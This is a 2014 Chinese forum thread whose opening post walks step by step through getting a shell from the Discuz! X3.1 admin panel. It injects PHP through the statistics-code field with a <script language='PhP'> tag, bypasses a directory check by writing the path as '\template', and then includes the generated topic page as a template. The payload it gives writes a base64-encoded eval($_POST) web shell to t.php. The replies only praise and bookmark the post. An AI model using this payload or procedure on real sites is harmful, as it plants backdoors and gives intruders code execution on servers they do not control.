90_ 发表于 2014-6-9 12:35:04

Discuz! X3.1后台拿shell

漏洞作者: 江南的鱼

之前写的几个后台拿shell,Discuz!忽略了,但新版本Discuz! X3.1 Release 20140301实际上有所加强,但是真的修复了之前提到的问题吗?
Discuz!大概做了下面几个改动:
1.统计代码处,对 <? 中的尖括号做了转意“\&lt;”。
2.首页文件名限制了".",有点时,返回【setting_functions_makehtml_indexname_invalid】,防止解析漏洞拿shell,。
3.专题HTML文件的存放目录做了部分限制,如果“template/default/portal”,会提示【专题HTML文件的存放目录只能包含字母、数字、下划线(_)和\,请确认存放目录的合法性】
看似很完美,难道就真的没办法拿到shell嘛,难道真的修复了之前拿shell的方法,其实不然。
前面先说下,既然"<? ?>"和 "<?php ?>" 的被转意了,那就用 <script language="PhP"></script>,经过测试,尖括号未被转意。

下面来重现过程:
1.先上传一张版本图:

2. 全局->站点信息->网站第三方统计代码, 里面插入我们要执行的php代码,如下:
<script language="PhP">fputs(fopen('t.php',w),base64_decode("PD9waHAgQGV2YWwoJF9QT1NUW2NdKTs/Pg=="));</script>

3.工具 -> 更新缓存, 更新下缓存吧
4.门户 -> HTML管理,来设置专题HTML存放目录 ,这里就是厂家修复的地方,可惜没修复好,如果我们将目录设置成‘template/default/portal’,会返回‘专题HTML文件的存放目录只能包含字母、数字、下划线(_)和\,请确认存放目录的合法性,返回’。看似完美,其实不然。
1)生成HTML ,选 ‘是’;

2)静态文件扩展名,设置成 ‘htm’;

3)专题HTML存放目录,这里需要注意,设置成 ‘\template/default/portal’;【不会设置的,可以直接复制单引号里面的】,点提交。

也许要问为啥“template/default/portal”,而“\template/default/portal”就能保存成功,这因为 ‘\t’ 解析成了水平制表符,从而绕过了对‘template/default/portal’目录的设置限制。换句话说,判断这个目录的函数 得到的路径是‘emplate/default/portal’,在和‘template/default/portal’进行匹配比较,肯定是不相等的,将‘\template/default/portal’再带入路径中去,就得到了保存路径为‘template/default/portal’,所以绕过了目录保存限制。

5. 门户--〉专题管理--〉创建专题:

1)专题标题:xyz // 这个随便你写了

2)静态化名称:portal_topic_222 //222为自定义文件名,自己要记住

3)附加内容:选择上: 站点尾部信息

3)提交
4)回到门户--〉专题管理,把刚才创建的专题开启,如下图 :

5)把刚才的专题,生成

6. 下面就是关键了,现在到了包含文件的时候了。
再新建一个专题:

1)专题标题,静态化名称,这2个随便写

2)模板名:这个要选择我们刚才生成的页面:./template/default/portal/portal_topic_222.htm

3)然后提交,就执行了<script language="PhP">fputs(fopen('t.php',w),base64_decode("PD9waHAgQGV2YWwoJF9QT1NUW2NdKTs/Pg=="));</script>

冰清(君子) 发表于 2014-6-9 12:43:23

攒下,顶楼。哈哈

Alt93 发表于 2014-6-9 12:46:14

好像哪里看到过 顶一下~ 感谢分享

testtz 发表于 2014-6-9 14:53:29

写的很详细,感谢分享

buxuan 发表于 2014-6-9 18:02:24

收藏了:)

zhhww56 发表于 2014-6-9 19:15:28

zhhww56 发表于 2014-6-9 19:15:57

ll520 发表于 2014-6-9 20:31:38

为何这么叼

huise 发表于 2014-6-10 16:09:06

很详细。 收藏了

vivi 发表于 2014-6-10 16:24:08

看帖回复是一种姿态。
页: [1] 2
查看完整版本: Discuz! X3.1后台拿shell